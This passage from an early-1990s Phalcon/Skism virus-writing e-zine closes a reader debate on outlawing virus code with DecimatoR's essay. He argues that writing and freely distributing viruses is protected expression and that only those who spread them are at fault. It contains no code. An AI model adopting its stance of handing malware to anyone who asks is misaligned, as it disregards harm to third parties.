  3848. I am hesitating about banning the publication of flow charts for the
  3849. code, since this would involve a fair amount of work from potential
  3850. copycats. But banning of full-working virus sources is certainly a
  3851. priority.
  3852. I am not a lawyer, so it would be hard for me to expand on the form of
  3853. punishment for those violating the bans. I think that each case should
  3854. have to be taken separately, depending on the potential danger of
  3855. each piece of code, and also on the damage already inflicted (if any)
  3856. before the trial.
  3857.   
  3858. Cheers,
  3859.  
  3860.    Oliver
  3861.  
  3862.  
  3863.                           -------------------------- 
  3864.                              Final note from Dec:
  3865.                           -------------------------- 
  3866.  
  3867.  
  3868. All in all, the majority response was that no, the coding of and distributing 
  3869. of virus code should _not_ be outlawed in the United States.  Of course, I 
  3870. certainly feel the same way.  The government should NOT be able to say that 
  3871. any piece of code, no matter what the purpose or possible use may be, should 
  3872. not be written.  Programming is freedom of expression, and to some, even art.  
  3873. To limit that with laws and stipulations not only takes away the rights of ALL 
  3874. Americans, but goes against the freedoms that America was founded upon.  
  3875.  
  3876. No matter what your point of view on viruses - be they ethical, unethical, 
  3877. whether you write them or hunt them down and destroy them, I truly hope you 
  3878. would never want them to be outlawed.  
  3879.  
  3880. Of course, I should mention my views concerning the spreading of viruses to 
  3881. unknowing users.  I firmly believe that such action IS unethical, and, quite 
  3882. simply, wrong.  And yes, that action SHOULD be made illegal.  Many of the 
  3883. respondees to my post compared the legallities of viruses with those of 
  3884. firearms.  While this may be a valid comparison in some cases, in others it is 
  3885. quite unrealistic.  Most who used this idea said that virus code should be 
  3886. restricted to those responsible enough to handle it, just like guns are 
  3887. restricted to those who are responsible.  I have a small problem with this.  
  3888. Firearms are restricted because they can be used to cause serious or fatal 
  3889. injuries.  No computer virus can be used to kill another person.  However, no 
  3890. gun actually KILLS another person.  People kill people, the gun is simply an 
  3891. instrument used.  Maybe a knife would be a better comparison.  Just becuase 
  3892. murders are committed with knives, should we restrict them?  OR ban them 
  3893. outright?  No, of course not.  Same with viruses.  Although they have the 
  3894. potential to be used in destructive ways, they should not be banned.  The 
  3895. people who abuse them should be treated as the criminals they are.  The people 
  3896. who create and help educate others with them should not be treated as 
  3897. criminals.  
  3898.  
  3899. We in Phalcon/Skism all believe in the freedom of information, and the right 
  3900. that each and every American has to his own opinions.  Yes, we've written 
  3901. viruses, and yes, we have no qualms about distributing virus code.  (This 
  3902. magazine is one good example)  No one will be injured through our actions, 
  3903. because we simply cranked out this 100% ascii text magazine.  We don't spread 
  3904. our creations intentionally.  We do distribute them to those who want them, 
  3905. and sometimes people do spread them.  We cannot control the actions of others.  
  3906. Breaking the law is wrong.  We don't break the law by programming.  We don't 
  3907. break the law by sharing code.  Don't hold us responsible for those who use 
  3908. our creations to break the law.  After all, you wouldn't hold Smith and Wesson 
  3909. responsible for a crime committed using one of their firearms, would you?  No.  
  3910. Nor would you hold GMC, Inc. responsible for a death caused by a drunk driving
  3911. one of their vehicles.  They were not at fault for creating the vehicle.  The
  3912. drunk was at fault for acting the way he did.  Same goes for viruses, and virus
  3913. authors.  Don't place the blame on the wrong party.  There is a strong
  3914. difference between creation and abuse.  
  3915.  
  3916. Next time you ponder the legality of virus writing, think about this.  You 
  3917. wouldn't want cars banned just because a few people don't handle them 
  3918. responsibly.  Attack the criminal, not the creator.  And NEVER take away a 
  3919. person's right to create.
  3920.                                 --DecimatoR
  3921.                                   Phalcon/Skism
  3922.  
  3923. Author's Note:
  3924.  
  3925. This article is dedicated to the members of the ARCV, a England based group of
  3926. virus authors, who were arrested, jailed, and had their equipment confiscated,
  3927. simply because they chose to express themselves through the creation of self-
  3928. replicating code.  This is also dedicated to the man arested by Scotland Yard
  3929. on December 10th, for advertising to sell virus code in the UK.
  3930.  
  3931. I hope to God that NEVER would ANYONE in America need to fear for their
  3932. freedom, simply because they chose to program a computer or sell public domain
  3933. code.
  3934.  
  3935.  
  3936.